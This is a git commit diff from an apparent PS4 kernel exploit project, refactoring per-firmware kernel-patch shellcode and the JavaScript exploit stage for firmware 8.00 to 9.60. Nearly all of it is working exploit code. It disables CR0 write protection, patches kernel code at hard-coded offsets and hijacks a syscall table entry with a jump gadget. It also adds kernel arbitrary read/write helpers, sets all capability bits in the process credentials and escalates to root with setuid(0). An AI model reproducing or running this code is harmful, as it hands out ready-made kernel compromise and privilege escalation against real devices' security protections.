Tweaks before tackling the new ROP chains
- Added read8/read16/write8/write16 functions - Simplify shellcode a little bit more - Didn't init chain before using it for setuid check
This commit is contained in:
17
CHANGELOG.md
17
CHANGELOG.md
@@ -8,10 +8,13 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
|||||||
|
|
||||||
### Added
|
### Added
|
||||||
|
|
||||||
- Kernel patches from pOOBs4 by @ChendoChap (Ported for 8.00-9.60)
|
- Kernel patches from pOOBs4 by @ChendoChap and ported for 8.00-9.60
|
||||||
|
- 233 bytes to 307 bytes
|
||||||
- Payload loader from pOOBs4 by @ChendoChap
|
- Payload loader from pOOBs4 by @ChendoChap
|
||||||
- `PROT_READ`, `PROT_WRITE`, `PROT_EXEC` constants for payload loader by @janisslsm
|
- `PROT_READ`, `PROT_WRITE`, `PROT_EXEC` constants for payload loader by
|
||||||
|
@janisslsm
|
||||||
- Added loading payload from file
|
- Added loading payload from file
|
||||||
|
- Added read8/read16/write8/write16 functions
|
||||||
|
|
||||||
### Fixed
|
### Fixed
|
||||||
|
|
||||||
@@ -26,7 +29,15 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
|||||||
- Cleanup/Linting/Tweaks/Fixes/etc
|
- Cleanup/Linting/Tweaks/Fixes/etc
|
||||||
- Default Prettier config w/ 999 line length
|
- Default Prettier config w/ 999 line length
|
||||||
- Default eslint config "problems" list trimmed down
|
- Default eslint config "problems" list trimmed down
|
||||||
- Reorder make_aliased_pktopts to try an reclaim memory earlier. By abc
|
- Reorder make_aliased_pktopts to try and reclaim memory earlier, by abc
|
||||||
|
- Simplify shellcode a little bit more
|
||||||
|
- No external headers
|
||||||
|
- Added `-fcf-protection=none` flag to skip added "endbr64" instructions
|
||||||
|
- 307 bytes to 295 bytes
|
||||||
|
- Changed `restore` and `do_patch` to be inlined
|
||||||
|
- 307 bytes to 282 bytes
|
||||||
|
- Changed to `-03` for execution speed optimization
|
||||||
|
- 282 bytes to 345 bytes
|
||||||
|
|
||||||
## [1.5.1] - 2025-05-12
|
## [1.5.1] - 2025-05-12
|
||||||
|
|
||||||
|
|||||||
@@ -17,8 +17,6 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
|
|
||||||
// 8.00, 8.01, 8.03
|
// 8.00, 8.01, 8.03
|
||||||
|
|
||||||
#include <stddef.h>
|
|
||||||
|
|
||||||
#include "types.h"
|
#include "types.h"
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
|
||||||
@@ -31,8 +29,8 @@ struct kexec_args {
|
|||||||
u64 arg5;
|
u64 arg5;
|
||||||
};
|
};
|
||||||
|
|
||||||
void do_patch(void);
|
static inline void restore(struct kexec_args *uap);
|
||||||
void restore(struct kexec_args *uap);
|
static inline void do_patch(void);
|
||||||
|
|
||||||
__attribute__((section (".text.start")))
|
__attribute__((section (".text.start")))
|
||||||
int kpatch(void *td, struct kexec_args *uap) {
|
int kpatch(void *td, struct kexec_args *uap) {
|
||||||
@@ -41,10 +39,11 @@ int kpatch(void *td, struct kexec_args *uap) {
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void restore(struct kexec_args *uap) {
|
__attribute__((always_inline))
|
||||||
|
static inline void restore(struct kexec_args *uap) {
|
||||||
u8 *pipe = uap->arg1;
|
u8 *pipe = uap->arg1;
|
||||||
u8 *pipebuf = uap->arg2;
|
u8 *pipebuf = uap->arg2;
|
||||||
for (size_t i = 0; i < 0x18; i++) {
|
for (int i = 0; i < 0x18; i++) {
|
||||||
pipe[i] = pipebuf[i];
|
pipe[i] = pipebuf[i];
|
||||||
}
|
}
|
||||||
u64 *pktinfo_field = uap->arg3;
|
u64 *pktinfo_field = uap->arg3;
|
||||||
@@ -53,16 +52,15 @@ void restore(struct kexec_args *uap) {
|
|||||||
*pktinfo_field2 = 0;
|
*pktinfo_field2 = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void do_patch(void) {
|
__attribute__((always_inline))
|
||||||
// offset to fast_syscall()
|
static inline void do_patch(void) {
|
||||||
const size_t off_fast_syscall = 0x1c0;
|
// get kernel base
|
||||||
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
|
const u64 xfast_syscall_off = 0x1c0;
|
||||||
|
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
|
||||||
|
|
||||||
disable_cr0_wp();
|
disable_cr0_wp();
|
||||||
|
|
||||||
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
|
// ChendoChap's patches from pOOBs4
|
||||||
|
|
||||||
// Initial patches
|
|
||||||
write16(kbase, 0x62d254, 0x9090); // veriPatch
|
write16(kbase, 0x62d254, 0x9090); // veriPatch
|
||||||
write8(kbase, 0xacd, 0xeb); // bcopy
|
write8(kbase, 0xacd, 0xeb); // bcopy
|
||||||
write8(kbase, 0x25e10d, 0xeb); // bzero
|
write8(kbase, 0x25e10d, 0xeb); // bzero
|
||||||
@@ -176,12 +174,13 @@ void do_patch(void) {
|
|||||||
// int sys_kexec(struct thread td, struct args *uap) {
|
// int sys_kexec(struct thread td, struct args *uap) {
|
||||||
// asm("jmp qword ptr [rsi]");
|
// asm("jmp qword ptr [rsi]");
|
||||||
// }
|
// }
|
||||||
|
const u64 sysent_11_off = 0x10fc6e0;
|
||||||
// .sy_narg = 2
|
// .sy_narg = 2
|
||||||
write32(kbase, 0x10fc6e0, 2);
|
write32(kbase, sysent_11_off, 2);
|
||||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||||
write64(kbase, 0x10fc6e0 + 8, kbase + 0xe629c);
|
write64(kbase, sysent_11_off + 8, kbase + 0xe629c);
|
||||||
// .sy_thrcnt = SY_THR_STATIC
|
// .sy_thrcnt = SY_THR_STATIC
|
||||||
write32(kbase, 0x10fc6e0 + 0x2c, 1);
|
write32(kbase, sysent_11_off + 0x2c, 1);
|
||||||
|
|
||||||
enable_cr0_wp();
|
enable_cr0_wp();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -17,8 +17,6 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
|
|
||||||
// 8.50, 8.52
|
// 8.50, 8.52
|
||||||
|
|
||||||
#include <stddef.h>
|
|
||||||
|
|
||||||
#include "types.h"
|
#include "types.h"
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
|
||||||
@@ -31,8 +29,8 @@ struct kexec_args {
|
|||||||
u64 arg5;
|
u64 arg5;
|
||||||
};
|
};
|
||||||
|
|
||||||
void do_patch(void);
|
static inline void restore(struct kexec_args *uap);
|
||||||
void restore(struct kexec_args *uap);
|
static inline void do_patch(void);
|
||||||
|
|
||||||
__attribute__((section (".text.start")))
|
__attribute__((section (".text.start")))
|
||||||
int kpatch(void *td, struct kexec_args *uap) {
|
int kpatch(void *td, struct kexec_args *uap) {
|
||||||
@@ -41,10 +39,11 @@ int kpatch(void *td, struct kexec_args *uap) {
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void restore(struct kexec_args *uap) {
|
__attribute__((always_inline))
|
||||||
|
static inline void restore(struct kexec_args *uap) {
|
||||||
u8 *pipe = uap->arg1;
|
u8 *pipe = uap->arg1;
|
||||||
u8 *pipebuf = uap->arg2;
|
u8 *pipebuf = uap->arg2;
|
||||||
for (size_t i = 0; i < 0x18; i++) {
|
for (int i = 0; i < 0x18; i++) {
|
||||||
pipe[i] = pipebuf[i];
|
pipe[i] = pipebuf[i];
|
||||||
}
|
}
|
||||||
u64 *pktinfo_field = uap->arg3;
|
u64 *pktinfo_field = uap->arg3;
|
||||||
@@ -53,16 +52,15 @@ void restore(struct kexec_args *uap) {
|
|||||||
*pktinfo_field2 = 0;
|
*pktinfo_field2 = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void do_patch(void) {
|
__attribute__((always_inline))
|
||||||
// offset to fast_syscall()
|
static inline void do_patch(void) {
|
||||||
const size_t off_fast_syscall = 0x1c0;
|
// get kernel base
|
||||||
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
|
const u64 xfast_syscall_off = 0x1c0;
|
||||||
|
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
|
||||||
|
|
||||||
disable_cr0_wp();
|
disable_cr0_wp();
|
||||||
|
|
||||||
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
|
// ChendoChap's patches from pOOBs4
|
||||||
|
|
||||||
// Initial patches
|
|
||||||
write16(kbase, 0x624674, 0x9090); // veriPatch
|
write16(kbase, 0x624674, 0x9090); // veriPatch
|
||||||
write8(kbase, 0xacd, 0xeb); // bcopy
|
write8(kbase, 0xacd, 0xeb); // bcopy
|
||||||
write8(kbase, 0x3a403d, 0xeb); // bzero
|
write8(kbase, 0x3a403d, 0xeb); // bzero
|
||||||
@@ -176,12 +174,13 @@ void do_patch(void) {
|
|||||||
// int sys_kexec(struct thread td, struct args *uap) {
|
// int sys_kexec(struct thread td, struct args *uap) {
|
||||||
// asm("jmp qword ptr [rsi]");
|
// asm("jmp qword ptr [rsi]");
|
||||||
// }
|
// }
|
||||||
|
const u64 sysent_11_off = 0x10fc7d0;
|
||||||
// .sy_narg = 2
|
// .sy_narg = 2
|
||||||
write32(kbase, 0x10fc7d0, 2);
|
write32(kbase, sysent_11_off, 2);
|
||||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||||
write64(kbase, 0x10fc7d0 + 8, kbase + 0xc810d);
|
write64(kbase, sysent_11_off + 8, kbase + 0xc810d);
|
||||||
// .sy_thrcnt = SY_THR_STATIC
|
// .sy_thrcnt = SY_THR_STATIC
|
||||||
write32(kbase, 0x10fc7d0 + 0x2c, 1);
|
write32(kbase, sysent_11_off + 0x2c, 1);
|
||||||
|
|
||||||
enable_cr0_wp();
|
enable_cr0_wp();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -17,8 +17,6 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
|
|
||||||
// 9.00
|
// 9.00
|
||||||
|
|
||||||
#include <stddef.h>
|
|
||||||
|
|
||||||
#include "types.h"
|
#include "types.h"
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
|
||||||
@@ -31,8 +29,8 @@ struct kexec_args {
|
|||||||
u64 arg5;
|
u64 arg5;
|
||||||
};
|
};
|
||||||
|
|
||||||
void do_patch(void);
|
static inline void restore(struct kexec_args *uap);
|
||||||
void restore(struct kexec_args *uap);
|
static inline void do_patch(void);
|
||||||
|
|
||||||
__attribute__((section (".text.start")))
|
__attribute__((section (".text.start")))
|
||||||
int kpatch(void *td, struct kexec_args *uap) {
|
int kpatch(void *td, struct kexec_args *uap) {
|
||||||
@@ -41,10 +39,11 @@ int kpatch(void *td, struct kexec_args *uap) {
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void restore(struct kexec_args *uap) {
|
__attribute__((always_inline))
|
||||||
|
static inline void restore(struct kexec_args *uap) {
|
||||||
u8 *pipe = uap->arg1;
|
u8 *pipe = uap->arg1;
|
||||||
u8 *pipebuf = uap->arg2;
|
u8 *pipebuf = uap->arg2;
|
||||||
for (size_t i = 0; i < 0x18; i++) {
|
for (int i = 0; i < 0x18; i++) {
|
||||||
pipe[i] = pipebuf[i];
|
pipe[i] = pipebuf[i];
|
||||||
}
|
}
|
||||||
u64 *pktinfo_field = uap->arg3;
|
u64 *pktinfo_field = uap->arg3;
|
||||||
@@ -53,16 +52,15 @@ void restore(struct kexec_args *uap) {
|
|||||||
*pktinfo_field2 = 0;
|
*pktinfo_field2 = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void do_patch(void) {
|
__attribute__((always_inline))
|
||||||
// offset to fast_syscall()
|
static inline void do_patch(void) {
|
||||||
const size_t off_fast_syscall = 0x1c0;
|
// get kernel base
|
||||||
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
|
const u64 xfast_syscall_off = 0x1c0;
|
||||||
|
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
|
||||||
|
|
||||||
disable_cr0_wp();
|
disable_cr0_wp();
|
||||||
|
|
||||||
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
|
// ChendoChap's patches from pOOBs4
|
||||||
|
|
||||||
// Initial patches
|
|
||||||
write16(kbase, 0x626874, 0x9090); // veriPatch
|
write16(kbase, 0x626874, 0x9090); // veriPatch
|
||||||
write8(kbase, 0xacd, 0xeb); // bcopy
|
write8(kbase, 0xacd, 0xeb); // bcopy
|
||||||
write8(kbase, 0x2713fd, 0xeb); // bzero
|
write8(kbase, 0x2713fd, 0xeb); // bzero
|
||||||
@@ -176,12 +174,13 @@ void do_patch(void) {
|
|||||||
// int sys_kexec(struct thread td, struct args *uap) {
|
// int sys_kexec(struct thread td, struct args *uap) {
|
||||||
// asm("jmp qword ptr [rsi]");
|
// asm("jmp qword ptr [rsi]");
|
||||||
// }
|
// }
|
||||||
|
const u64 sysent_11_off = 0x1100520;
|
||||||
// .sy_narg = 2
|
// .sy_narg = 2
|
||||||
write32(kbase, 0x1100520, 2);
|
write32(kbase, sysent_11_off, 2);
|
||||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||||
write64(kbase, 0x1100520 + 8, kbase + 0x4c7ad);
|
write64(kbase, sysent_11_off + 8, kbase + 0x4c7ad);
|
||||||
// .sy_thrcnt = SY_THR_STATIC
|
// .sy_thrcnt = SY_THR_STATIC
|
||||||
write32(kbase, 0x1100520 + 0x2c, 1);
|
write32(kbase, sysent_11_off + 0x2c, 1);
|
||||||
|
|
||||||
enable_cr0_wp();
|
enable_cr0_wp();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -17,8 +17,6 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
|
|
||||||
// 9.03, 9.04
|
// 9.03, 9.04
|
||||||
|
|
||||||
#include <stddef.h>
|
|
||||||
|
|
||||||
#include "types.h"
|
#include "types.h"
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
|
||||||
@@ -31,8 +29,8 @@ struct kexec_args {
|
|||||||
u64 arg5;
|
u64 arg5;
|
||||||
};
|
};
|
||||||
|
|
||||||
void do_patch(void);
|
static inline void restore(struct kexec_args *uap);
|
||||||
void restore(struct kexec_args *uap);
|
static inline void do_patch(void);
|
||||||
|
|
||||||
__attribute__((section (".text.start")))
|
__attribute__((section (".text.start")))
|
||||||
int kpatch(void *td, struct kexec_args *uap) {
|
int kpatch(void *td, struct kexec_args *uap) {
|
||||||
@@ -41,10 +39,11 @@ int kpatch(void *td, struct kexec_args *uap) {
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void restore(struct kexec_args *uap) {
|
__attribute__((always_inline))
|
||||||
|
static inline void restore(struct kexec_args *uap) {
|
||||||
u8 *pipe = uap->arg1;
|
u8 *pipe = uap->arg1;
|
||||||
u8 *pipebuf = uap->arg2;
|
u8 *pipebuf = uap->arg2;
|
||||||
for (size_t i = 0; i < 0x18; i++) {
|
for (int i = 0; i < 0x18; i++) {
|
||||||
pipe[i] = pipebuf[i];
|
pipe[i] = pipebuf[i];
|
||||||
}
|
}
|
||||||
u64 *pktinfo_field = uap->arg3;
|
u64 *pktinfo_field = uap->arg3;
|
||||||
@@ -53,16 +52,15 @@ void restore(struct kexec_args *uap) {
|
|||||||
*pktinfo_field2 = 0;
|
*pktinfo_field2 = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void do_patch(void) {
|
__attribute__((always_inline))
|
||||||
// offset to fast_syscall()
|
static inline void do_patch(void) {
|
||||||
const size_t off_fast_syscall = 0x1c0;
|
// get kernel base
|
||||||
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
|
const u64 xfast_syscall_off = 0x1c0;
|
||||||
|
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
|
||||||
|
|
||||||
disable_cr0_wp();
|
disable_cr0_wp();
|
||||||
|
|
||||||
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
|
// ChendoChap's patches from pOOBs4
|
||||||
|
|
||||||
// Initial patches
|
|
||||||
write16(kbase, 0x624834, 0x9090); // veriPatch
|
write16(kbase, 0x624834, 0x9090); // veriPatch
|
||||||
write8(kbase, 0xacd, 0xeb); // bcopy
|
write8(kbase, 0xacd, 0xeb); // bcopy
|
||||||
write8(kbase, 0x27107d, 0xeb); // bzero
|
write8(kbase, 0x27107d, 0xeb); // bzero
|
||||||
@@ -176,12 +174,13 @@ void do_patch(void) {
|
|||||||
// int sys_kexec(struct thread td, struct args *uap) {
|
// int sys_kexec(struct thread td, struct args *uap) {
|
||||||
// asm("jmp qword ptr [rsi]");
|
// asm("jmp qword ptr [rsi]");
|
||||||
// }
|
// }
|
||||||
|
const u64 sysent_11_off = 0x10fc520;
|
||||||
// .sy_narg = 2
|
// .sy_narg = 2
|
||||||
write32(kbase, 0x10fc520, 2);
|
write32(kbase, sysent_11_off, 2);
|
||||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||||
write64(kbase, 0x10fc520 + 8, kbase + 0x5325b);
|
write64(kbase, sysent_11_off + 8, kbase + 0x5325b);
|
||||||
// .sy_thrcnt = SY_THR_STATIC
|
// .sy_thrcnt = SY_THR_STATIC
|
||||||
write32(kbase, 0x10fc520 + 0x2c, 1);
|
write32(kbase, sysent_11_off + 0x2c, 1);
|
||||||
|
|
||||||
enable_cr0_wp();
|
enable_cr0_wp();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -17,8 +17,6 @@ along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|||||||
|
|
||||||
// 9.50, 9.51, 9.60
|
// 9.50, 9.51, 9.60
|
||||||
|
|
||||||
#include <stddef.h>
|
|
||||||
|
|
||||||
#include "types.h"
|
#include "types.h"
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
|
||||||
@@ -31,8 +29,8 @@ struct kexec_args {
|
|||||||
u64 arg5;
|
u64 arg5;
|
||||||
};
|
};
|
||||||
|
|
||||||
void do_patch(void);
|
static inline void restore(struct kexec_args *uap);
|
||||||
void restore(struct kexec_args *uap);
|
static inline void do_patch(void);
|
||||||
|
|
||||||
__attribute__((section (".text.start")))
|
__attribute__((section (".text.start")))
|
||||||
int kpatch(void *td, struct kexec_args *uap) {
|
int kpatch(void *td, struct kexec_args *uap) {
|
||||||
@@ -41,10 +39,11 @@ int kpatch(void *td, struct kexec_args *uap) {
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void restore(struct kexec_args *uap) {
|
__attribute__((always_inline))
|
||||||
|
static inline void restore(struct kexec_args *uap) {
|
||||||
u8 *pipe = uap->arg1;
|
u8 *pipe = uap->arg1;
|
||||||
u8 *pipebuf = uap->arg2;
|
u8 *pipebuf = uap->arg2;
|
||||||
for (size_t i = 0; i < 0x18; i++) {
|
for (int i = 0; i < 0x18; i++) {
|
||||||
pipe[i] = pipebuf[i];
|
pipe[i] = pipebuf[i];
|
||||||
}
|
}
|
||||||
u64 *pktinfo_field = uap->arg3;
|
u64 *pktinfo_field = uap->arg3;
|
||||||
@@ -53,16 +52,15 @@ void restore(struct kexec_args *uap) {
|
|||||||
*pktinfo_field2 = 0;
|
*pktinfo_field2 = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void do_patch(void) {
|
__attribute__((always_inline))
|
||||||
// offset to fast_syscall()
|
static inline void do_patch(void) {
|
||||||
const size_t off_fast_syscall = 0x1c0;
|
// get kernel base
|
||||||
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
|
const u64 xfast_syscall_off = 0x1c0;
|
||||||
|
void * const kbase = (void *)rdmsr(0xc0000082) - xfast_syscall_off;
|
||||||
|
|
||||||
disable_cr0_wp();
|
disable_cr0_wp();
|
||||||
|
|
||||||
// ChendoChap's patches from pOOBs4 ///////////////////////////////////////
|
// ChendoChap's patches from pOOBs4
|
||||||
|
|
||||||
// Initial patches
|
|
||||||
write16(kbase, 0x624ae4, 0x9090); // veriPatch
|
write16(kbase, 0x624ae4, 0x9090); // veriPatch
|
||||||
write8(kbase, 0xacd, 0xeb); // bcopy
|
write8(kbase, 0xacd, 0xeb); // bcopy
|
||||||
write8(kbase, 0x201c0d, 0xeb); // bzero
|
write8(kbase, 0x201c0d, 0xeb); // bzero
|
||||||
@@ -176,12 +174,13 @@ void do_patch(void) {
|
|||||||
// int sys_kexec(struct thread td, struct args *uap) {
|
// int sys_kexec(struct thread td, struct args *uap) {
|
||||||
// asm("jmp qword ptr [rsi]");
|
// asm("jmp qword ptr [rsi]");
|
||||||
// }
|
// }
|
||||||
|
const u64 sysent_11_off = 0x10f9500;
|
||||||
// .sy_narg = 2
|
// .sy_narg = 2
|
||||||
write32(kbase, 0x10f9500, 2);
|
write32(kbase, sysent_11_off, 2);
|
||||||
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
// .sy_call = gadgets['jmp qword ptr [rsi]']
|
||||||
write64(kbase, 0x10f9500 + 8, kbase + 0x15a6d);
|
write64(kbase, sysent_11_off + 8, kbase + 0x15a6d);
|
||||||
// .sy_thrcnt = SY_THR_STATIC
|
// .sy_thrcnt = SY_THR_STATIC
|
||||||
write32(kbase, 0x10f9500 + 0x2c, 1);
|
write32(kbase, sysent_11_off + 0x2c, 1);
|
||||||
|
|
||||||
enable_cr0_wp();
|
enable_cr0_wp();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -2,7 +2,7 @@ TARGET_VERSIONS = 800 850 900 903 950
|
|||||||
|
|
||||||
CC = gcc
|
CC = gcc
|
||||||
OBJCOPY = objcopy
|
OBJCOPY = objcopy
|
||||||
CFLAGS = -Os -std=gnu11 -Wno-int-conversion -masm=intel -nostartfiles -Tscript.ld
|
CFLAGS = -O3 -std=gnu11 -Wno-int-conversion -masm=intel -nostartfiles -fcf-protection=none -Tscript.ld
|
||||||
|
|
||||||
.PHONY: all
|
.PHONY: all
|
||||||
ALL_SOURCES = $(TARGET_VERSIONS:%=%.c)
|
ALL_SOURCES = $(TARGET_VERSIONS:%=%.c)
|
||||||
|
|||||||
@@ -15,7 +15,8 @@ GNU Affero General Public License for more details.
|
|||||||
You should have received a copy of the GNU Affero General Public License
|
You should have received a copy of the GNU Affero General Public License
|
||||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||||
|
|
||||||
#pragma once
|
#ifndef TYPES_H_
|
||||||
|
#define TYPES_H_
|
||||||
|
|
||||||
typedef unsigned char u8;
|
typedef unsigned char u8;
|
||||||
typedef unsigned short u16;
|
typedef unsigned short u16;
|
||||||
@@ -26,3 +27,5 @@ typedef signed char s8;
|
|||||||
typedef signed short s16;
|
typedef signed short s16;
|
||||||
typedef signed int s32;
|
typedef signed int s32;
|
||||||
typedef signed long long s64;
|
typedef signed long long s64;
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -15,14 +15,14 @@ GNU Affero General Public License for more details.
|
|||||||
You should have received a copy of the GNU Affero General Public License
|
You should have received a copy of the GNU Affero General Public License
|
||||||
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
||||||
|
|
||||||
#pragma once
|
#ifndef UTILS_H_
|
||||||
|
#define UTILS_H_
|
||||||
#include <stddef.h>
|
|
||||||
|
|
||||||
#include "types.h"
|
#include "types.h"
|
||||||
|
|
||||||
static inline u64 rdmsr(u32 msr) {
|
static inline u64 rdmsr(u32 msr) {
|
||||||
u32 low, high;
|
u32 low;
|
||||||
|
u32 high;
|
||||||
|
|
||||||
asm("rdmsr" : "=a" (low), "=d" (high) : "c" (msr));
|
asm("rdmsr" : "=a" (low), "=d" (high) : "c" (msr));
|
||||||
return (low | ((u64)high << 32));
|
return (low | ((u64)high << 32));
|
||||||
@@ -44,18 +44,20 @@ static inline void disable_cr0_wp(void) {
|
|||||||
::: "rax");
|
::: "rax");
|
||||||
}
|
}
|
||||||
|
|
||||||
static inline void write8(void *addr, size_t offset, u8 value) {
|
static inline void write8(void *addr, u64 offset, u8 value) {
|
||||||
*(u8 *)(addr + offset) = value;
|
*(u8 *)(addr + offset) = value;
|
||||||
}
|
}
|
||||||
|
|
||||||
static inline void write16(void *addr, size_t offset, u16 value) {
|
static inline void write16(void *addr, u64 offset, u16 value) {
|
||||||
*(u16 *)(addr + offset) = value;
|
*(u16 *)(addr + offset) = value;
|
||||||
}
|
}
|
||||||
|
|
||||||
static inline void write32(void *addr, size_t offset, u32 value) {
|
static inline void write32(void *addr, u64 offset, u32 value) {
|
||||||
*(u32 *)(addr + offset) = value;
|
*(u32 *)(addr + offset) = value;
|
||||||
}
|
}
|
||||||
|
|
||||||
static inline void write64(void *addr, size_t offset, u64 value) {
|
static inline void write64(void *addr, u64 offset, u64 value) {
|
||||||
*(u64 *)(addr + offset) = value;
|
*(u64 *)(addr + offset) = value;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -1408,6 +1408,16 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
|
|||||||
gsockopt(this.worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf);
|
gsockopt(this.worker_sd, IPPROTO_IPV6, IPV6_PKTINFO, buf);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
read8(addr) {
|
||||||
|
this._read(addr);
|
||||||
|
return this.rw_buf.read8(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
read16(addr) {
|
||||||
|
this._read(addr);
|
||||||
|
return this.rw_buf.read16(0);
|
||||||
|
}
|
||||||
|
|
||||||
read32(addr) {
|
read32(addr) {
|
||||||
this._read(addr);
|
this._read(addr);
|
||||||
return this.rw_buf.read32(0);
|
return this.rw_buf.read32(0);
|
||||||
@@ -1418,6 +1428,16 @@ function make_kernel_arw(pktopts_sds, dirty_sd, k100_addr, kernel_addr, sds) {
|
|||||||
return this.rw_buf.read64(0);
|
return this.rw_buf.read64(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
write8(addr, value) {
|
||||||
|
this.rw_buf.write8(0, value);
|
||||||
|
this.copyin(this.rw_buf.addr, addr, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
write16(addr, value) {
|
||||||
|
this.rw_buf.write16(0, value);
|
||||||
|
this.copyin(this.rw_buf.addr, addr, 2);
|
||||||
|
}
|
||||||
|
|
||||||
write32(addr, value) {
|
write32(addr, value) {
|
||||||
this.rw_buf.write32(0, value);
|
this.rw_buf.write32(0, value);
|
||||||
this.copyin(this.rw_buf.addr, addr, 4);
|
this.copyin(this.rw_buf.addr, addr, 4);
|
||||||
@@ -1470,6 +1490,9 @@ async function get_binary(url) {
|
|||||||
return response.arrayBuffer();
|
return response.arrayBuffer();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Using JIT to load our own shellcode code here avoids the need to preform
|
||||||
|
// some trick toggle the CR0 Protection Mode bit. We can just toggle it easily
|
||||||
|
// within our shellcode.
|
||||||
async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
|
async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
|
||||||
if (!is_ps4) {
|
if (!is_ps4) {
|
||||||
throw RangeError("ps5 kernel patching unsupported");
|
throw RangeError("ps5 kernel patching unsupported");
|
||||||
@@ -1492,12 +1515,12 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
|
|||||||
// .sy_thrcnt = SY_THR_STATIC
|
// .sy_thrcnt = SY_THR_STATIC
|
||||||
kmem.write32(sysent_661.add(0x2c), 1);
|
kmem.write32(sysent_661.add(0x2c), 1);
|
||||||
|
|
||||||
log("add JIT capabilities");
|
log("set the bits for JIT privs");
|
||||||
// TODO: Just set the bits for JIT privs
|
// TODO: Just set the bits for JIT privs
|
||||||
// cr_sceCaps[0]
|
// cr_sceCaps[0] // 0x2000038000000000
|
||||||
kmem.write64(p_ucred.add(0x60), -1);
|
kmem.write64(p_ucred.add(0x60), -1); // 0xffffffffffffffff
|
||||||
// cr_sceCaps[1]
|
// cr_sceCaps[1] // 0x800000000000ff00
|
||||||
kmem.write64(p_ucred.add(0x68), -1);
|
kmem.write64(p_ucred.add(0x68), -1); // 0xffffffffffffffff
|
||||||
|
|
||||||
const buf = await get_binary(patch_elf_loc);
|
const buf = await get_binary(patch_elf_loc);
|
||||||
const patches = new View1(await buf);
|
const patches = new View1(await buf);
|
||||||
@@ -1558,10 +1581,10 @@ async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
|
|||||||
sysi("setuid", 0);
|
sysi("setuid", 0);
|
||||||
log("kernel exploit succeeded!");
|
log("kernel exploit succeeded!");
|
||||||
|
|
||||||
kmem.write32(sysent_661, sy_narg);
|
|
||||||
kmem.write64(sysent_661.add(8), sy_call);
|
|
||||||
kmem.write32(sysent_661.add(0x2c), sy_thrcnt);
|
kmem.write32(sysent_661.add(0x2c), sy_thrcnt);
|
||||||
log("restored dsys_aio_submit()");
|
kmem.write64(sysent_661.add(8), sy_call);
|
||||||
|
kmem.write32(sysent_661, sy_narg);
|
||||||
|
log("restored sys_aio_submit()");
|
||||||
}
|
}
|
||||||
|
|
||||||
// FUNCTIONS FOR STAGE: SETUP
|
// FUNCTIONS FOR STAGE: SETUP
|
||||||
@@ -1605,6 +1628,10 @@ function setup(block_fd) {
|
|||||||
